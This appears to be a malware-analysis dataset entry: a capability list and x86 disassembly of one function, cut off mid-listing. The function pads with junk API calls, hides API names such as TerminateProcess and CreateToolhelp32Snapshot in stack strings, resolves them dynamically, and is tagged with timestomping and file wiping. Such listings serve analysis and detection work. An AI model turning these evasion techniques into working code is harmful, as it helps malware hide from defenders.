Function at 0x418b11
Capabilities:
Allocate thread local storage
Clear file content
Delete directory
Delete file
Get common file path
Link many functions at runtime
Rebuild import table
Resolve function by parsing pe exports
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Suspend thread
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x134
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor esi, esi
test eax, eax
mov dword [edi], 0x44b118
jne 0x419915
push esi
push esi
call dword [edi + 0x1b0]
push esi
push esi
push esi
call dword [edi + 0x1ac]
mov ebx, dword [sym.imp.MSVCRT.dll_toupper]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418b76
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418b76
cmp byte [esp + 0x11], 0x3a
jne 0x418b76
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
mov ebp, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418bbc
call esi
test eax, eax
je 0x418ba4
cmp byte [esp + 0x15], 0x3a
jne 0x418ba4
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418bd2
call esi
test eax, eax
je 0x418bd2
cmp byte [esp + 0x15], 0x3a
jne 0x418bd2
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418bef
cmp byte [esp + 0x15], 0x3a
jne 0x418bef
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418c1f
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418c1f
cmp byte [esp + 0x11], 0x3a
jne 0x418c1f
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418c5f
call esi
test eax, eax
je 0x418c47
cmp byte [esp + 0x15], 0x3a
jne 0x418c47
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418c75
call esi
test eax, eax
je 0x418c75
cmp byte [esp + 0x15], 0x3a
jne 0x418c75
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418c92
cmp byte [esp + 0x15], 0x3a
jne 0x418c92
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418cc2
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418cc2
cmp byte [esp + 0x11], 0x3a
jne 0x418cc2
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418d02
call esi
test eax, eax
je 0x418cea
cmp byte [esp + 0x15], 0x3a
jne 0x418cea
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418d18
call esi
test eax, eax
je 0x418d18
cmp byte [esp + 0x15], 0x3a
jne 0x418d18
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418d35
cmp byte [esp + 0x15], 0x3a
jne 0x418d35
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418d73
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418d73
cmp byte [esp + 0x11], 0x3a
jne 0x418d73
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418db3
call esi
test eax, eax
je 0x418d9b
cmp byte [esp + 0x15], 0x3a
jne 0x418d9b
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418dc9
call esi
test eax, eax
je 0x418dc9
cmp byte [esp + 0x15], 0x3a
jne 0x418dc9
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418de6
cmp byte [esp + 0x15], 0x3a
jne 0x418de6
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [edi + 0x48]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418e1e
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418e1e
cmp byte [esp + 0x11], 0x3a
jne 0x418e1e
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418e5e
call esi
test eax, eax
je 0x418e46
cmp byte [esp + 0x15], 0x3a
jne 0x418e46
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418e74
call esi
test eax, eax
je 0x418e74
cmp byte [esp + 0x15], 0x3a
jne 0x418e74
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418e91
cmp byte [esp + 0x15], 0x3a
jne 0x418e91
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418ec3
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418ec3
cmp byte [esp + 0x11], 0x3a
jne 0x418ec3
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418f03
call esi
test eax, eax
je 0x418eeb
cmp byte [esp + 0x15], 0x3a
jne 0x418eeb
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418f19
call esi
test eax, eax
je 0x418f19
cmp byte [esp + 0x15], 0x3a
jne 0x418f19
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418f36
cmp byte [esp + 0x15], 0x3a
jne 0x418f36
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [edi + 0x7c]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x418f6b
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418f6b
cmp byte [esp + 0x11], 0x3a
jne 0x418f6b
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x418fab
call esi
test eax, eax
je 0x418f93
cmp byte [esp + 0x15], 0x3a
jne 0x418f93
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x418fc1
call esi
test eax, eax
je 0x418fc1
cmp byte [esp + 0x15], 0x3a
jne 0x418fc1
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418fde
cmp byte [esp + 0x15], 0x3a
jne 0x418fde
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419010
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419010
cmp byte [esp + 0x11], 0x3a
jne 0x419010
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419050
call esi
test eax, eax
je 0x419038
cmp byte [esp + 0x15], 0x3a
jne 0x419038
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x419066
call esi
test eax, eax
je 0x419066
cmp byte [esp + 0x15], 0x3a
jne 0x419066
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419083
cmp byte [esp + 0x15], 0x3a
jne 0x419083
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4190b3
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4190b3
cmp byte [esp + 0x11], 0x3a
jne 0x4190b3
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4190f3
call esi
test eax, eax
je 0x4190db
cmp byte [esp + 0x15], 0x3a
jne 0x4190db
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x419109
call esi
test eax, eax
je 0x419109
cmp byte [esp + 0x15], 0x3a
jne 0x419109
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419126
cmp byte [esp + 0x15], 0x3a
jne 0x419126
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419158
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419158
cmp byte [esp + 0x11], 0x3a
jne 0x419158
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419198
call esi
test eax, eax
je 0x419180
cmp byte [esp + 0x15], 0x3a
jne 0x419180
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4191ae
call esi
test eax, eax
je 0x4191ae
cmp byte [esp + 0x15], 0x3a
jne 0x4191ae
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4191cb
cmp byte [esp + 0x15], 0x3a
jne 0x4191cb
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4191f9
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4191f9
cmp byte [esp + 0x11], 0x3a
jne 0x4191f9
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419239
call esi
test eax, eax
je 0x419221
cmp byte [esp + 0x15], 0x3a
jne 0x419221
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41924f
call esi
test eax, eax
je 0x41924f
cmp byte [esp + 0x15], 0x3a
jne 0x41924f
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41926c
cmp byte [esp + 0x15], 0x3a
jne 0x41926c
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x41929f
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41929f
cmp byte [esp + 0x11], 0x3a
jne 0x41929f
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4192df
call esi
test eax, eax
je 0x4192c7
cmp byte [esp + 0x15], 0x3a
jne 0x4192c7
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4192f5
call esi
test eax, eax
je 0x4192f5
cmp byte [esp + 0x15], 0x3a
jne 0x4192f5
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419312
cmp byte [esp + 0x15], 0x3a
jne 0x419312
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419344
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419344
cmp byte [esp + 0x11], 0x3a
jne 0x419344
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419384
call esi
test eax, eax
je 0x41936c
cmp byte [esp + 0x15], 0x3a
jne 0x41936c
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41939a
call esi
test eax, eax
je 0x41939a
cmp byte [esp + 0x15], 0x3a
jne 0x41939a
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4193b7
cmp byte [esp + 0x15], 0x3a
jne 0x4193b7
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4193e9
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4193e9
cmp byte [esp + 0x11], 0x3a
jne 0x4193e9
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419429
call esi
test eax, eax
je 0x419411
cmp byte [esp + 0x15], 0x3a
jne 0x419411
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41943f
call esi
test eax, eax
je 0x41943f
cmp byte [esp + 0x15], 0x3a
jne 0x41943f
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41945c
cmp byte [esp + 0x15], 0x3a
jne 0x41945c
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x41948c
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41948c
cmp byte [esp + 0x11], 0x3a
jne 0x41948c
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4194cc
call esi
test eax, eax
je 0x4194b4
cmp byte [esp + 0x15], 0x3a
jne 0x4194b4
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4194e2
call esi
test eax, eax
je 0x4194e2
cmp byte [esp + 0x15], 0x3a
jne 0x4194e2
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4194ff
cmp byte [esp + 0x15], 0x3a
jne 0x4194ff
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419533
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419533
cmp byte [esp + 0x11], 0x3a
jne 0x419533
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419573
call esi
test eax, eax
je 0x41955b
cmp byte [esp + 0x15], 0x3a
jne 0x41955b
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x419589
call esi
test eax, eax
je 0x419589
cmp byte [esp + 0x15], 0x3a
jne 0x419589
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4195a6
cmp byte [esp + 0x15], 0x3a
jne 0x4195a6
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [edi + 0x30]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4195e0
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4195e0
cmp byte [esp + 0x11], 0x3a
jne 0x4195e0
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419620
call esi
test eax, eax
je 0x419608
cmp byte [esp + 0x15], 0x3a
jne 0x419608
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x419636
call esi
test eax, eax
je 0x419636
cmp byte [esp + 0x15], 0x3a
jne 0x419636
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419653
cmp byte [esp + 0x15], 0x3a
jne 0x419653
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419686
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419686
cmp byte [esp + 0x11], 0x3a
jne 0x419686
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4196c6
call esi
test eax, eax
je 0x4196ae
cmp byte [esp + 0x15], 0x3a
jne 0x4196ae
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4196dc
call esi
test eax, eax
je 0x4196dc
cmp byte [esp + 0x15], 0x3a
jne 0x4196dc
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4196f9
cmp byte [esp + 0x15], 0x3a
jne 0x4196f9
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
call dword [edi + 0x3c]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x419726
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x419726
cmp byte [esp + 0x11], 0x3a
jne 0x419726
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x419766
call esi
test eax, eax
je 0x41974e
cmp byte [esp + 0x15], 0x3a
jne 0x41974e
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41977c
call esi
test eax, eax
je 0x41977c
cmp byte [esp + 0x15], 0x3a
jne 0x41977c
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419799
cmp byte [esp + 0x15], 0x3a
jne 0x419799
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [edi + 0xb0]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4197cd
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4197cd
cmp byte [esp + 0x11], 0x3a
jne 0x4197cd
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x41980d
call esi
test eax, eax
je 0x4197f5
cmp byte [esp + 0x15], 0x3a
jne 0x4197f5
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x419823
call esi
test eax, eax
je 0x419823
cmp byte [esp + 0x15], 0x3a
jne 0x419823
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419840
cmp byte [esp + 0x15], 0x3a
jne 0x419840
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [edi + 0x4c]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
lea eax, [esp + 0x10]
cmp eax, 0xd5
jne 0x4198a2
lea eax, [esp + 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4198a2
cmp byte [esp + 0x11], 0x3a
jne 0x4198a2
movzx eax, byte [esp + 0x10]
push eax
call ebx
pop ecx
lea eax, [esp + 0x10]
cmp eax, 0x4db
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4198e2
call esi
test eax, eax
je 0x4198ca
cmp byte [esp + 0x15], 0x3a
jne 0x4198ca
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4198f8
call esi
test eax, eax
je 0x4198f8
cmp byte [esp + 0x15], 0x3a
jne 0x4198f8
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
lea eax, [esp + 0x14]
push eax
push 3
call esi
test eax, eax
je 0x419915
cmp byte [esp + 0x15], 0x3a
jne 0x419915
movzx eax, byte [esp + 0x14]
push eax
call ebx
pop ecx
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x4c
push 0x45
push 0x4e
push 0x52
push 0x45
lea eax, [esp + 0x110]
push 0x4b
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x74
pop ebx
mov dword [esp + 0x14], eax
push ebx
push 0x78
push 0x65
lea eax, [esp + 0x28]
pop ebp
push ebp
push 0x4e
push 0x32
push 0x33
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push eax
call fcn.004105df
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x73
push 0x72
push 0x69
push 0x46
push 0x32
push 0x33
push 0x73
push 0x73
push ebp
push 0x63
mov dword [edi + 4], eax
push 0x6f
push 0x72
lea eax, [esp + 0x50]
push 0x50
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6f
push 0x68
push 0x73
push 0x70
push 0x61
mov dword [edi + 8], eax
push 0x6e
push 0x53
push 0x32
push 0x33
push 0x70
push 0x6c
push ebp
push 0x68
push 0x6c
push 0x6f
push 0x6f
push 0x54
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x78]
push 0x43
push eax
call fcn.004105df
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push ebx
push 0x61
push 0x6e
push 0x69
push 0x6d
mov dword [edi + 0xc], eax
push 0x72
push ebp
lea eax, [esp + 0x58]
push 0x54
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push ebx
push 0x61
mov dword [edi + 0x10], eax
push ebp
push 0x72
lea eax, [esp + 0x50]
push 0x43
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
mov dword [edi + 0x14], eax
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6e
push ebp
push 0x70
lea eax, [esp + 0x44]
push 0x4f
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push 0x64
push 0x6f
push 0x43
push ebx
push 0x69
push 0x78
push 0x45
mov dword [edi + 0x18], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebx
push 0x6e
push ebp
push 0x72
push 0x72
push 0x75
push 0x43
mov dword [edi + 0x1c], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105df
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x49
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
mov dword [edi + 0x20], eax
push 0x50
push ebx
push 0x6e
push ebp
push 0x72
push 0x72
push 0x75
push 0x43
push ebx
push ebp
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105df
add esp, 0x54
lea eax, [esp + 0x18]
push eax
